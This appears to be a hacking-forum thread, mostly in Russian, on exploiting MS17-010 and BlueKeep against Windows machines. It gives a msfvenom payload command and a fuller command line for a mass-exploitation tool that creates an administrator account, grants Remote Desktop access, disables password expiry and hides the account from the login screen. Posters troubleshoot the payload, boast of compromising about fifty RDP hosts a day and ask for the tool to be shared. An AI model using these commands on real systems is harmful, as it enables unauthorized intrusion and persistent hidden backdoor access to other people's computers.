PrivEsc ms17-010/bluekeep

[CCod]

Эксплуатирую мс17-010 и блюкип использую пэйлоад из метасплойта с добавлением юзера .Шелкод генерирую так msfvenom -p windows/x64/exec cmd="cmd.exe /c net user admin password /add && net localgroup administrators admin /add" .Эксплойт срабатывает юзер создается,но не добавляется в группу админов.Как решить эту проблему?

 

[kiloton]

Бывает так что группа называется по другому, если система на другом языке.
На испанском это будет Administradores. Посмотри названия группы через cmd.

 

[3ToN]

Administrator EN
Administrateurs FR
Rendszergazdák HU
Administradores ES (AR,BR)
Administratör SE

 

[Premium]

так это, у тебя там ошибка. && это ж в ПШ, для смд нужно &

 

[kiloton]

так это, у тебя там ошибка. && это ж в ПШ, для смд нужно &

• & separates commands on a line.
• && executes this command only if previous command's errorlevel is 0.

Разницы в данном случае нет, наоборот лучше && чтобы меньше срача в Event Log если первая не сработает.

 

[fijos77]

I have this tool Automatization Blackkeep
It still get BIG results 50 RDP's every day. But 99% Are WORKGROUP Single PC's so the Exploit is Useless

bks -t 20 -ipl split11.txt -p32 cmd_payload_x86.exe -p64 cmd_payload_x64.exe -cmd "cmd.exe /c net user user pass /add & net localgroup Administrators user /add & net localgroup \"Remote Desktop Users \" user /add & net accounts /maxpwage:unlimited & reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\" /t REG_DWORD /f /d 0 /v user"
pause

For example if you use it on FRANCE . You need to change localgroup Administrators to localgroup Administrateurs

 

[CCod]

I have this tool Automatization Blackkeep
It still get BIG results 50 RDP's every day. But 99% Are WORKGROUP Single PC's so the Exploit is Useless

bks -t 20 -ipl split11.txt -p32 cmd_payload_x86.exe -p64 cmd_payload_x64.exe -cmd "cmd.exe /c net user user pass /add & net localgroup Administrators user /add & net localgroup \"Remote Desktop Users \" user /add & net accounts /maxpwage:unlimited & reg add \"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\" /t REG_DWORD /f /d 0 /v user"
pause

For example if you use it on FRANCE . You need to change localgroup Administrators to localgroup Administrateurs

can u share this tool?

 

[Periphery]

есть уязвимые хосты к мс17, но вылезает ошибка Unable to find accessible named pipe! что делать в таком случае? на гите прочитал что креды надо дописать, дописал не помогло, буду благодарен